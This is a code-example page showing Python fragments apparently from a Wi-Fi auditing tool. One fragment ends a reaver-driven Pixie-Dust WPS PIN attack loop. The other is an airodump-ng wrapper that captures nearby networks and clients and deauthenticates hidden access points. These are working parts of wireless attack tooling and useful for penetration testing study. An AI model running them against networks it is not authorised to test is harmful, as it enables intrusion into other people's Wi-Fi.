                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    # TODO: Argument for --ignore-rate-limit
                    '''
                    Color.pl('{!} {O}use {R}--ignore-rate-limit{O} to ignore' +
                             ' this kind of failure in the future')
                    '''
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
                         Configuration.wps_timeout)
                break

            # Reaver Failure/Timeout check
            fail_count = stdout.count('WPS transaction failed')
            if fail_count > Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures (%d){W}' %
                         fail_count)
                break
            timeout_count = stdout.count('Receive timeout occurred')
            if timeout_count > Configuration.wps_timeout_threshold:
                Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
                         timeout_count)
                break

            # Display status of Pixie-Dust attack
            Color.p('{W}%s{W}' % step)

            continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False
Пример #16
0
class Airodump(object):
    ''' Wrapper around airodump-ng program '''

    def __init__(self, interface=None, channel=None, encryption=None,\
                       wps=False, target_bssid=None, output_file_prefix='airodump',\
                       ivs_only=False, skip_wash=False):
        '''
            Sets up airodump arguments, doesn't start process yet
        '''

        Configuration.initialize()

        if interface == None:
            interface = Configuration.interface
        if interface == None:
            raise Exception("Wireless interface must be defined (-i)")
        self.interface = interface

        self.targets = []

        if channel == None:
            channel = Configuration.target_channel
        self.channel = channel
        self.five_ghz = Configuration.five_ghz

        self.encryption = encryption
        self.wps = wps

        self.target_bssid = target_bssid
        self.output_file_prefix = output_file_prefix
        self.ivs_only = ivs_only
        self.skip_wash = skip_wash

        # For tracking decloaked APs (previously were hidden)
        self.decloaking = False
        self.decloaked_targets = []
        self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth


    def __enter__(self):
        '''
            Setting things up for this context.
            Called at start of 'with Airodump(...) as x:'
            Actually starts the airodump process.
        '''
        self.delete_airodump_temp_files()

        self.csv_file_prefix = Configuration.temp() + self.output_file_prefix

        # Build the command
        command = [
            'airodump-ng',
            self.interface,
            '-a', # Only show associated clients
            '-w', self.csv_file_prefix, # Output file prefix
            '--write-interval', '1' # Write every second
        ]
        if self.channel:
            command.extend(['-c', str(self.channel)])
        elif self.five_ghz:
            command.extend(['--band', 'a'])

        if self.encryption:
            command.extend(['--enc', self.encryption])
        if self.wps:
            command.extend(['--wps'])
        if self.target_bssid:
            command.extend(['--bssid', self.target_bssid])

        if self.ivs_only:
            command.extend(['--output-format', 'ivs,csv'])
        else:
            command.extend(['--output-format', 'pcap,csv'])

        # Start the process
        self.pid = Process(command, devnull=True)
        return self


    def __exit__(self, type, value, traceback):
        '''
            Tearing things down since the context is being exited.
            Called after 'with Airodump(...)' goes out of scope.
        '''
        # Kill the process
        self.pid.interrupt()

        # Delete temp files
        self.delete_airodump_temp_files()


    def find_files(self, endswith=None):
        ''' Finds all files in the temp directory that start with the output_file_prefix '''
        result = []
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith(self.output_file_prefix):
                if not endswith or fil.endswith(endswith):
                    result.append(Configuration.temp() + fil)
        return result

    def delete_airodump_temp_files(self):
        '''
            Deletes airodump* files in the temp directory.
            Also deletes replay_*.cap and *.xor files in pwd.
        '''
        # Remove all temp files
        for fil in self.find_files():
            os.remove(fil)

        # Remove .cap and .xor files from pwd
        for fil in os.listdir('.'):
            if fil.startswith('replay_') and fil.endswith('.cap'):
                os.remove(fil)
            if fil.endswith('.xor'):
                os.remove(fil)

    def get_targets(self, apply_filter=True):
        ''' Parses airodump's CSV file, returns list of Targets '''
        # Find the .CSV file
        csv_filename = None
        for fil in self.find_files(endswith='-01.csv'):
            # Found the file
            csv_filename = fil
            break
        if csv_filename == None or not os.path.exists(csv_filename):
            # No file found
            return self.targets

        # Parse the .CSV file
        targets = Airodump.get_targets_from_csv(csv_filename)

        # Check targets for WPS
        if not self.skip_wash:
            capfile = csv_filename[:-3] + 'cap'
            Wash.check_for_wps_and_update_targets(capfile, targets)

        if apply_filter:
            # Filter targets based on encryption & WPS capability
            targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash)

        # Sort by power
        targets.sort(key=lambda x: x.power, reverse=True)

        for old_target in self.targets:
            for new_target in targets:
                if old_target.bssid != new_target.bssid: continue
                if new_target.essid_known and not old_target.essid_known:
                    # We decloaked a target!
                    self.decloaked_targets.append(new_target)

        self.targets = targets
        self.deauth_hidden_targets()

        return self.targets


    @staticmethod
    def get_targets_from_csv(csv_filename):
        '''
            Returns list of Target objects parsed from CSV file
        '''
        targets = []
        import csv
        with open(csv_filename, 'rb') as csvopen:
            lines = (line.replace('\0', '') for line in csvopen)
            csv_reader = csv.reader(lines, delimiter=',')
            hit_clients = False
            for row in csv_reader:
                # Each "row" is a list of fields for a target/client

                if len(row) == 0: continue

                if row[0].strip() == 'BSSID':
                    # This is the "header" for the list of Targets
                    hit_clients = False
                    continue

                elif row[0].strip() == 'Station MAC':
                    # This is the "header" for the list of Clients
                    hit_clients = True
                    continue

                if hit_clients:
                    # The current row corresponds to a "Client" (computer)
                    try:
                        client = Client(row)
                    except IndexError, ValueError:
                        # Skip if we can't parse the client row
                        continue

                    if 'not associated' in client.bssid:
                        # Ignore unassociated clients
                        continue

                    # Add this client to the appropriate Target
                    for t in targets:
                        if t.bssid == client.bssid:
                            t.clients.append(client)
                            break

                else:
                    # The current row corresponds to a "Target" (router)
                    try:
                        target = Target(row)
                        targets.append(target)
                    except Exception:
                        continue

        return targets